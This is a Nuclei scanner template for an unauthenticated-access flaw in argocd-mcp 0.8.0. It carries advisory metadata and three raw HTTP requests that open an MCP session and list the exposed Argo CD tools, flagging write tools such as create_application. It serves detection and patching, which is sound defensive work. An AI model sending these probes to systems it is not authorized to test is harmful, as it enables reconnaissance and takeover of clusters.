argocd-mcp 0.8.0 - Unauthenticated MCP Session and Tool Access

id: CVE-2026-82456

info:
  name: argocd-mcp 0.8.0 - Unauthenticated MCP Session and Tool Access
  author: kh1166
  severity: critical
  description: |
    argocd-mcp before 0.9.0 binds its MCP HTTP listener to all interfaces without requiring authentication. A remote unauthenticated attacker can initialize an MCP session, complete the handshake, and enumerate or invoke the full Argo CD tool surface using the operator's stored API token.
  impact: |
    Remote unauthenticated attackers reach the full Argo CD tool surface with the operator's stored API token. Applications can be created pointing at attacker-controlled repositories and synced, which executes hostile manifests in the managed cluster under Argo CD's permissive default project.
  remediation: |
    Upgrade to argocd-mcp 0.9.0 and set MCP_AUTH_TOKEN so inbound callers must present an Authorization bearer header. Keep --bind-address on 127.0.0.1 unless an external auth layer is in front of the listener, and do not use --allow-unauthenticated to restore a wide bind.
  reference:
    - https://github.com/argoproj-labs/mcp-for-argocd/security/advisories/GHSA-rp45-5x3v-48mr
    - https://nvd.nist.gov/vuln/detail/CVE-2026-82456
    - https://www.vulncheck.com/advisories/argocd-mcp-0.8.0-authentication-bypass-via-unauthenticated-http
    - https://github.com/argoproj-labs/mcp-for-argocd/releases
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2026-82456
    cwe-id: CWE-306
  metadata:
    verified: false
    max-request: 3
    vendor: argoproj-labs
    product: mcp-for-argocd
  tags: cve,cve2026,argocd,argoproj,mcp,auth-bypass,exposure

flow: |
  http(1)
  if (template["sid"] == "") {
    stop()
  }
  http(2) && http(3)

http:
  - raw:
      - |
        POST /mcp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json, text/event-stream

        {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"nuclei","version":"1.0"}}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"serverInfo\"") && contains(body, "\"name\":\"argocd-mcp\"")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: sid
        part: header
        internal: true
        group: 1
        regex:
          - '(?i)mcp-session-id:\s*([0-9a-fA-F-]{36})'

  - raw:
      - |
        POST /mcp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json, text/event-stream
        mcp-session-id: {{sid}}

        {"jsonrpc":"2.0","method":"notifications/initialized"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 202'
        internal: true

  - raw:
      - |
        POST /mcp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json, text/event-stream
        mcp-session-id: {{sid}}

        {"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"name\":\"list_applications\"") && contains(body, "\"inputSchema\"")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        name: session
        part: header
        group: 1
        regex:
          - '(?i)mcp-session-id:\s*([0-9a-fA-F-]{36})'

      - type: regex
        name: write_tools
        part: body
        group: 1
        regex:
          - '"name":"(create_application|update_application|delete_application|sync_application|run_resource_action)"'
# digest: 4a0a0047304502204512c017cbeff566d40279bba80793b0b248a69d54ff866532e51c12fb1b57b4022100f2dfe332920afbac7f26400bc84b7b84f53bc9cf37379a1b5567f926ff984bdf:922c64590222798bb761d5b6d8e72950